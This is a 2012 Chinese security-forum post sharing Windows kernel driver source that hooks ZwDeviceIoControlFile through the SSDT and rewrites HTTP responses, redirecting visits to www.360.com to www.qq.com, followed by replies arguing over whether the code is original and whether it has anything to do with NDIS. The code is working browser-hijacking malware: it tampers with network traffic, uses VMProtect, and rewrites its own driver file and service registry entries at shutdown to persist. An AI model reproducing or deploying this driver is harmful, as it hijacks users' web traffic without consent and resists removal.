首页
社区
课程
招聘
[原创]实现网页劫持跳转代码开源
发表于: 2012-6-19 18:28 35488

[原创]实现网页劫持跳转代码开源

2012-6-19 18:28
35488
下面代码在内核层实现URL跳转,代码公开,
用户打开www.360.com会跳转到www.qq.com

#ifdef __cplusplus
extern "C"
{
#endif
#include <ntddk.h>
#ifdef __cplusplus
}
#endif

#include "VMProtectSDK.h"
#pragma comment(lib, "VMProtectSDK32.lib")

#include "1.h"



ULONG ZwDeviceIoControlFile_BaseAddress = 0x0;
ULONG ZwDeviceIoControlFile_value = 0x0;
ULONG ZwDeviceIoControlFile_num = 0x0;

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
	PDEVICE_OBJECT Device;
	UNICODE_STRING SymName;

	Device = DriverObject->DeviceObject;
	if (Device != NULL)
		{
			RtlInitUnicodeString(&SymName, DEVSYMNAME);
			IoDeleteSymbolicLink(&SymName);
			IoDeleteDevice(Device);
		}
	if (ZwDeviceIoControlFile_BaseAddress != 0 && ZwDeviceIoControlFile_value != 0)
		{
			ChangeMemory_inte(ZwDeviceIoControlFile_BaseAddress, ZwDeviceIoControlFile_value);
		}
}

typedef struct AFD_WSABUF{
	ULONG  len ;
	PCHAR  buf ;
}AFD_WSABUF , *PAFD_WSABUF;

typedef struct AFD_INFO {
	PAFD_WSABUF  BufferArray ; 
	ULONG  BufferCount ; 
	ULONG  AfdFlags ;
	ULONG  TdiFlags ;
} AFD_INFO,  *PAFD_INFO;

typedef struct _LYH_ie{
	HANDLE pid;
	HANDLE FileHandle;
}LYH_IE,*PLYH_IE;

#define IE_MaxNum 1000

LYH_IE IeBuff[IE_MaxNum];

NTSTATUS NTAPI LYH_ZwDeviceIoControlFile(IN HANDLE FileHandle,
									  IN HANDLE Event OPTIONAL,
									  IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
									  IN PVOID ApcContext OPTIONAL,
									  OUT PIO_STATUS_BLOCK IoStatusBlock,
									  IN ULONG IoControlCode,
									  IN PVOID InputBuffer OPTIONAL,
									  IN ULONG InputBufferLength,
									  OUT PVOID OutputBuffer OPTIONAL,
									  IN ULONG OutputBufferLength)
{
	NTSTATUS RetValue = STATUS_SUCCESS;
	HANDLE pid = 0x0;
	PAFD_INFO AdInfo;	
	ULONG len,i;
	BOOLEAN IsFind = FALSE;
	CHAR JmpUrl[] = {"HTTP/1.1 301 Moved Permanently\r\nLocation: http://www.qq.com\r\n"};
	PMDL pMdl;
	PVOID MdlAddress;
	PEPROCESS process;
	PCHAR name;
	BOOLEAN IsSoGou = FALSE;

	pid = PsGetCurrentProcessId();

	if (IoControlCode == 0x1201f)
		{
			AdInfo = (PAFD_INFO)InputBuffer;
			len = AdInfo->BufferArray->len;

			process = PsGetCurrentProcess();
			name = PsGetProcessImageFileName(process);
			if (_stricmp(name, "sogouexplorer.e") == 0)
				{
					IsSoGou = TRUE;
				}
			else
				{
					IsSoGou = FALSE;
				}

			IsFind = FALSE;
			pMdl = IoAllocateMdl(AdInfo->BufferArray->buf, len, FALSE, FALSE, NULL);
			if (pMdl != NULL)
				{
					_try
					{
					MmProbeAndLockPages(pMdl, UserMode, IoReadAccess);

					MdlAddress = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, NULL, FALSE, NormalPagePriority);
					if (MdlAddress != NULL)
						{
							if (_strnicmp((PCHAR)MdlAddress, "get", 3) == 0 || _strnicmp((PCHAR)MdlAddress, "post", 4) == 0)
								{
									if (len > 0x14)
										{
											len -= 0x14;
										}

									for (i = 0; i < len; i++)
										{
											if (_strnicmp((PCHAR)((ULONG)MdlAddress + i), "www.360.com", 14) == 0  )
												{
													IsFind = TRUE;
													break;
												}
										}

								}
						}

					MmUnlockPages(pMdl);
					}_except(EXCEPTION_EXECUTE_HANDLER)
					{

					}
					IoFreeMdl(pMdl);
				}
			if (IsFind)
				{
					IsFind = FALSE;
					for (i = 0; i < IE_MaxNum; i++)
						{
							if (!IsSoGou)
								{
									if (IeBuff[i].FileHandle == FileHandle && IeBuff->pid == pid)  //遍历这个进程
										{
											IsFind = TRUE;
											break;
										}
								}
							else
								{
									if (IeBuff[i].pid == pid)
										{
											IsFind = TRUE;
											break;
										}
								}
						}
					//如果没有找到,就添加
					if (!IsFind)
						{
							for (i = 0; i < IE_MaxNum; i++)
								{
									if (IsSoGou)
									{
										if (IeBuff[i].pid == 0 && IeBuff[i].FileHandle == 0)
											{
												IeBuff[i].FileHandle = FileHandle; IeBuff[i].pid = pid;
												break;
											}
									}
									else
									{
									if (IeBuff[i].FileHandle == 0 || IeBuff[i].pid == 0)
										{
											IeBuff[i].FileHandle = FileHandle; IeBuff[i].pid = pid;
											break;
										}
									}
								}
						}
				}
		
		}

	_asm
		{
			pushad
			push OutputBufferLength
			push OutputBuffer
			push InputBufferLength
			push InputBuffer
			push IoControlCode
			push IoStatusBlock
			push ApcContext
			push ApcRoutine
			push Event
			push FileHandle
			call ZwDeviceIoControlFile_value
			mov RetValue,eax
			popad
		}

	if (NT_SUCCESS(RetValue))
		{
			if (IoControlCode == 0x12017)
				{
					AdInfo = (PAFD_INFO)InputBuffer;
					len = AdInfo->BufferArray->len;

					process = PsGetCurrentProcess();
					name = PsGetProcessImageFileName(process);

					if (_stricmp(name, "sogouexplorer.e") == 0)
						{
							IsSoGou = TRUE;
						}
					else
						{
							IsSoGou = FALSE;
						}

					pMdl = IoAllocateMdl(AdInfo->BufferArray->buf, len, FALSE, FALSE, NULL);
					if (pMdl != NULL)
						{
							_try{
							MmProbeAndLockPages(pMdl, UserMode, IoWriteAccess);

							MdlAddress = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, NULL, FALSE, NormalPagePriority);
							if (MdlAddress != NULL)
								{
									if (_strnicmp((PCHAR)MdlAddress, "http", 4) == 0)
										{
											IsFind = FALSE;
											for (i = 0; i <  IE_MaxNum; i++)
											{
												if (IsSoGou)
												{
													if (IeBuff[i].pid == pid)
														{
															IsFind = TRUE;
															IeBuff[i].FileHandle = 0x0; IeBuff[i].pid = 0x0;
															break;
														}
												}
												else
												{
												if (IeBuff[i].FileHandle == FileHandle && IeBuff[i].pid == pid)
												{
													
													IsFind = TRUE;
													IeBuff[i].FileHandle = 0x0; IeBuff[i].pid = 0x0;
													break;
												}
												}
											}
											if (IsFind)
											{
												strcpy((PCHAR)MdlAddress, JmpUrl);
											}
										}
						
								}
							MmUnlockPages(pMdl);
							}_except(EXCEPTION_EXECUTE_HANDLER)
							{

							}
							IoFreeMdl(pMdl);
						}
				}
		}
	return RetValue;
}

NTSTATUS DefDispatch(IN PDEVICE_OBJECT Device, IN PIRP Irp)
{
	Irp->IoStatus.Status = STATUS_SUCCESS;
	Irp->IoStatus.Information = 0;

	IoCompleteRequest(Irp, IO_NO_INCREMENT);

	return STATUS_SUCCESS;
}

UNICODE_STRING RestoreRegPath;
PKEY_VALUE_PARTIAL_INFORMATION pvpi = NULL;

ULONG FileSize = 0x0;
PVOID FileBuff = NULL;

NTSTATUS ShutDownDispatch(IN PDEVICE_OBJECT Device, IN PIRP Irp)
{
	NTSTATUS status;
	HANDLE hkey;
	OBJECT_ATTRIBUTES ObjectAttributes;
	UNICODE_STRING RegName;
	PWCHAR DisplayName = {L"WebNdis"};
	ULONG ErrorControl = 0x1, Start = 0x1, Type = 0x1;

	//写文件
	HANDLE hfile;
	IO_STATUS_BLOCK IoStatus;
	LARGE_INTEGER number;

	if (FileBuff != NULL)
		{
			RtlInitUnicodeString(&RegName, (PCWSTR)pvpi->Data);
			InitializeObjectAttributes(&ObjectAttributes, &RegName, OBJ_CASE_INSENSITIVE, NULL, NULL);
			status = ZwCreateFile(&hfile, GENERIC_WRITE, &ObjectAttributes, &IoStatus, NULL, FILE_ATTRIBUTE_NORMAL,
		                 FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
			if (NT_SUCCESS(status))
				{
					number.QuadPart = 0x0;
					ZwWriteFile(hfile, NULL, NULL, NULL, &IoStatus, FileBuff, FileSize, &number, NULL);
					ZwClose(hfile);
				}
		}

	//注册表回写
	if (pvpi != NULL)
		{
			InitializeObjectAttributes(&ObjectAttributes, &RestoreRegPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
			status = ZwCreateKey(&hkey, KEY_ALL_ACCESS, &ObjectAttributes, 0, NULL, 0, NULL);
			if (NT_SUCCESS(status))
				{
					RtlInitUnicodeString(&RegName, L"DisplayName");
					ZwSetValueKey(hkey, &RegName, 0, REG_SZ, DisplayName, (wcslen(DisplayName) + 1) * sizeof(WCHAR));

					RtlInitUnicodeString(&RegName, L"ErrorControl");
					ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &ErrorControl, 4);

					//路径
					RtlInitUnicodeString(&RegName, L"ImagePath");
					ZwSetValueKey(hkey, &RegName, 0, REG_SZ, pvpi->Data, (wcslen((PWCHAR)pvpi->Data) + 1) * sizeof(WCHAR));

					RtlInitUnicodeString(&RegName, L"Start");
					ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &Start, 4);

					RtlInitUnicodeString(&RegName, L"Type");
					ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &Type, 4);

					ZwClose(hkey);
				}
		}

	return STATUS_SUCCESS;
}
#ifdef __cplusplus
extern "C"
#endif
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
	ULONG MajorVersion,MinorVersion;

	DriverObject->DriverUnload = OnUnload;


	PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
	if (MajorVersion == 0x5 && MinorVersion == 0x2)
		{
			ZwDeviceIoControlFile_num = 0x45;
		}
	else if (MajorVersion == 0x5 && MinorVersion == 0x1)
		{
			ZwDeviceIoControlFile_num = 0x42;
		}
	else
		{
			return STATUS_UNSUCCESSFUL;
		}
	memset(IeBuff, 0, 4 * IE_MaxNum);

	ZwDeviceIoControlFile_BaseAddress = (ULONG)KeServiceDescriptorTable->ServiceTableBase + ZwDeviceIoControlFile_num * 4; //xp 0x42 2003 0x45
	ZwDeviceIoControlFile_value = *(PULONG)ZwDeviceIoControlFile_BaseAddress;
	ChangeMemory_inte(ZwDeviceIoControlFile_BaseAddress, (ULONG)LYH_ZwDeviceIoControlFile);

	{
		UNICODE_STRING DevName,SymName;
		NTSTATUS status;
		PDEVICE_OBJECT fdo;

		RtlInitUnicodeString(&DevName, DEVICENAME);
		status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &fdo);
		if (!NT_SUCCESS(status))
			{
				return status;
			}

		RtlInitUnicodeString(&SymName, DEVSYMNAME);
		status = IoCreateSymbolicLink(&SymName, &DevName);
		if (!NT_SUCCESS(status))
			{
				IoDeleteDevice(fdo);
				return status;
			}
		fdo->Flags |= DO_BUFFERED_IO;

		DriverObject->MajorFunction[IRP_MJ_CREATE] = DefDispatch;
		DriverObject->MajorFunction[IRP_MJ_CLOSE] = DefDispatch;
		DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = ShutDownDispatch;

		RestoreRegPath.Buffer = (PWSTR)ExAllocatePool(NonPagedPool, RegistryPath->Length + 1);
		RtlCopyMemory(RestoreRegPath.Buffer, RegistryPath->Buffer, RegistryPath->Length);
		RestoreRegPath.Length = RestoreRegPath.MaximumLength = RegistryPath->Length;

		{
			//读取注册表文件位置,以备回写
			HANDLE hkey;
			UNICODE_STRING ValueName;
			OBJECT_ATTRIBUTES ObjectAttributes;
			ULONG ulSize = 0x0;

			RtlInitUnicodeString(&ValueName, L"ImagePath");
			InitializeObjectAttributes(&ObjectAttributes, RegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

			status = ZwOpenKey(&hkey, KEY_ALL_ACCESS, &ObjectAttributes);
			if (NT_SUCCESS(status))
				{
					status = ZwQueryValueKey(hkey, &ValueName, KeyValuePartialInformation, NULL, 0, &ulSize);
					if (status == STATUS_BUFFER_TOO_SMALL)
						{
							pvpi = (PKEY_VALUE_PARTIAL_INFORMATION)ExAllocatePool(PagedPool, ulSize);
							if (pvpi != NULL)
								{
									status = ZwQueryValueKey(hkey, &ValueName, KeyValuePartialInformation, pvpi, ulSize, &ulSize);
									if (!NT_SUCCESS(status))
										{
											ExFreePool(pvpi);
											pvpi = NULL;
										}
								}
						}
					
					ZwClose(hkey);
				}

			//读文件,以备回写
			HANDLE hfile;
			IO_STATUS_BLOCK IoStatus;
			FILE_STANDARD_INFORMATION fsi;

			if (pvpi != NULL)
				{
					RtlInitUnicodeString(&ValueName, (PCWSTR)pvpi->Data);
					InitializeObjectAttributes(&ObjectAttributes, &ValueName, OBJ_CASE_INSENSITIVE, NULL, NULL);
					status = ZwCreateFile(&hfile, GENERIC_READ, &ObjectAttributes, &IoStatus, NULL, 
				                  FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
					if (NT_SUCCESS(status))
						{
							status = ZwQueryInformationFile(hfile, &IoStatus, &fsi, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
							if (NT_SUCCESS(status))
								{
									FileSize = (ULONG)fsi.EndOfFile.QuadPart;
									FileBuff = ExAllocatePool(NonPagedPool, FileSize);
									if (FileBuff != NULL)
										{
											status = ZwReadFile(hfile, NULL, NULL, NULL, &IoStatus, FileBuff, FileSize, NULL, NULL);
											if (!NT_SUCCESS(status))
												{
													FileSize = 0x0;
													ExFreePool(FileBuff);
													FileBuff = NULL;
												}
										}
								}
							ZwClose(hfile);
						}
				}
		}

		
		//注册关机回写
		IoRegisterShutdownNotification(fdo);

	}

	return STATUS_SUCCESS;
}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
收藏
免费 6
支持
分享
最新回复 (33)
雪    币: 165
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我可以骂人不
2012-6-19 20:26
0
雪    币: 1737
活跃值: (110)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
why ? give me a reason 先。
2012-6-19 20:31
0
雪    币: 615
活跃值: (172)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
4
1楼是TX公司的,2楼是奇虎公司的~
因为有敏感信息,版主不敢加精。。
2012-6-20 01:50
0
雪    币: 615
活跃值: (172)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
5
代码收下了,看上去还不错,谢谢分享!
2012-6-20 01:51
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
6
跟NDIS一点边都沾不上~
2012-6-20 09:19
0
雪    币: 615
活跃值: (172)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
7
你不说还真没看代码,
2012-6-21 02:17
0
雪    币: 44
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
很好啊。///。。
2012-6-21 10:14
0
雪    币: 165
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
你才是奇虎公司的的,你全家都是奇虎公司的的。
那么明显的还用怎么看吗。
2012-6-21 14:29
0
雪    币: 615
活跃值: (172)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
10
不要一开口就骂人,最起码做人讲素质讲文明!
不用怎么看,我一点没看过代码!
要是看了我肯定100%看出来!!
你很细心看了代码,发现有问题,
那你就不能友好的跟楼主说一下代码有问题吗?
2012-6-21 20:29
0
雪    币: 127
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
小盆友,你太可爱了~
2012-6-21 22:41
0
雪    币: 53
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
转成娱乐贴了....
代码不错,从ring3转来的
2012-6-21 22:58
0
雪    币: 165
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
莫非你的意思就没有骂人了,若是你不骂人,你怎么觉得我是骂人的?
“你”“才是”“奇虎”“的”
我愣是没觉得我的和你说的有啥差别,莫非在你心里“奇虎”成了骂人的话?
如果是,那你就不算损人?
如果你损人了,你就“最起码做人讲素质讲文明”?

一点没看代码你又说“看上去还不错”?
这点代码要“细心”“看”才发现文不对题?
明显是A来的好不好。
搞个啥原创?写得出这代码的会连NDIS和SSDT Hook都分不清?
我不觉得A几百行代码分不清东西南北还要申请“原创”“加精”的要多“友好”一点。
2012-6-22 00:52
0
雪    币: 266
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
只是HOOK 了  TDICLIENT 发送过程。并非NDIS,而且数据长度都木有修改。
2012-6-22 08:48
0
雪    币: 128
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
15
这帖子指定 射精不了的了
就贴出的代码看起来和NDIS无瓜葛
2012-6-22 12:32
0
雪    币: 615
活跃值: (172)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
16
你骂人了,但是我绝对没有骂人!可以看出我的回复是以幽默的方式来表述!
而你一开口就大骂伤人,因为你是牛人,我们是小菜。。
“莫非在你心里“奇虎”成了骂人的话?”请你不要乱编制不切实际的话题来抹黑他人!
“细心”、“看”、“看上去”的意思是有区别的!
刚数了一下,代码一共有481行,
一个将近500行的代码从上往下拉,顶多也是看到前面10来行和后面10来行。
我不想跟你争辩,在你眼里你是技术达人,你是“素质”达人!
看雪的帖子以后我也不会再来多回复了,
本来今年是为了找工作,
既然工作已经找好了,也没必要在这里回复浪费时间,
顶多有空上来发一下主题,懒得跟你们这种大牛纠缠。
2012-6-22 13:03
0
雪    币: 165
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
同是说人是“奇虎”的,我实在没想懂你的说法是“幽默”的,而我的是“一开口是骂人的”。
但也请你不要什么都基于你的主观去描述,我从没说任何人是“小菜”,更没有在任何途径表达说自己是“大牛”,请勿颠倒是非。
同时我没表达在我眼里我是“什么人”,我只看到一堆基于你主观描述别人的词汇,我不觉得我有任何主观描述别人的词汇。

根据你说的“前十行”,“后十行”,我再回到主贴,前十行大概如下
[QUOTE ]
#ifdef __cplusplus
extern "C"
{
#endif
#include <ntddk.h>
#ifdef __cplusplus
}
#endif

#include "VMProtectSDK.h"
[/QUOTE]
大概无论你是“一点没有看过”,还是“前十行”,这样就能判断是好东西??

至于你埋汰说来看雪是blabla.....的,我就不发表评论了,但请也不要试图让我引起众怒、

既然说开了,我也可以很主观告诉你,我不是大牛,但也不是小菜,大概有五年,从看谭浩强到现在自己翻ReactOS的程度,能满足工作、自娱自乐的需求。同时,对这个帖子,我是怀是有兴趣点进来看的,因为现在自己的NDIS流控和FW快写完了,想进来看看别人怎么写的,毕竟“原创”和“申请加精”还是觉得有点看头。
只是一进来看了帖子代码的头,发现有ZwDeviceIoControlFile,就发现应该有问题了,再一拉,果然就MJ的一个帖子的R0版,这不就是文不对题加上试图坑人嘛。
2012-6-22 16:52
0
雪    币: 2177
活跃值: (2045)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
18
虽然和NDIS没什么关系,但还是支持下。
2012-6-26 10:45
0
雪    币: 316
活跃值: (128)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
19
.......................
2012-6-26 10:50
0
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
这也能引发争执 服了... 好看不好看 一看而过不就好了
2012-6-26 11:44
0
雪    币: 215
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
微微一笑的路过!
2012-6-26 12:31
0
雪    币: 98
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
还真成娱乐贴了。。。路人围观。。。
2012-6-26 14:03
0
雪    币: 220
活跃值: (701)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
人家发点东西,你们就开骂,有什么企图?
要开骂的话,请用更好的代码说话!
2012-6-26 18:04
0
雪    币: 119
活跃值: (298)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
唉 咋会这样滴 没理由啊!
2012-6-27 20:42
0
雪    币: 16
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
我只想知道这个帖子为什么有贴上了优秀………………
2012-6-28 18:41
0
游客
登录 | 注册 方可回帖
返回
//